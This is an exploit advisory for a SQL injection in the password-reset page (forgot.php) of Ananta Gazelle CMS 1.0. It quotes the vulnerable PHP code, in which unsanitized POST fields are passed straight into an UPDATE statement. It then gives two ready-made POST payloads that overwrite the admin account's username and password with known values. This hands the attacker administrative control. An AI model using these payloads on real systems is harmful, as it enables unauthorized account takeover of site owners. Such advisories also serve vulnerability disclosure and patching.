# Exploit Title: Ananta Gazelle CMS - Update Statement Sql injection
# Google Dork: -
# Date: 07-02-2012
# Author: hackme
# Software Link: http://sourceforge.net/projects/ananta/files/stable/Gazelle 1.0 stable/Ananta_Gazelle1.0.zip/
# Version: 1.0 stable
# Tested on: backbox 2.1
# CVE : -

[SORRY FOR MY BAD ENGLISH]

[+] This sql injection doesn't allow us to read the contents of the tables, but to do the update statement of the username and password of admin.
Since you can't enter a special chars as the apex, and then we don't change the username and password in what we want, we will copy the value of a column with default value in column username and password.
In fact we have:

	admin - username = 1
              - password = 1

[+] Vulnerable Code(forgot.php):
[CODE]
if (!empty($_POST) && !isset($_POST["loginform"])) {
	// form submitted, set a new activation key for this user (however don't set the user to inactive, so no-one can block someone else's account
	$sql = "UPDATE ".$tableprefix.$_POST["table"]." SET ";

	if ($_POST["activate"] <> "") {
		$sql = $sql."activate='".$_POST["activate"]."'";
	}

	$sql = $sql." WHERE email"."='".$_POST["email"]."'";
	//no control
	if (mysql_query($sql)) {
[/code]
[+] default table users columns: number,name,pass,email,activate,active,admin,joindate,showemail
[+] Risk: High
[+] Vuln Page: www.site.it/ananta/forgot.php

[+] Change admin username in "1" [POST-DATA]
email=&save=Save&table=users SET name=active where number=1--&activate=lol&location=/ananta/forgot.php

[+] Change admin password in "1" [POST-DATA]
email=v&save=Save&table=users SET pass=md5(active) where number=1--&activate=lol&location=/ananta/forgot.php

[+]...If You Really Want Something, You Can Have It...

[+] Greetz To: MZ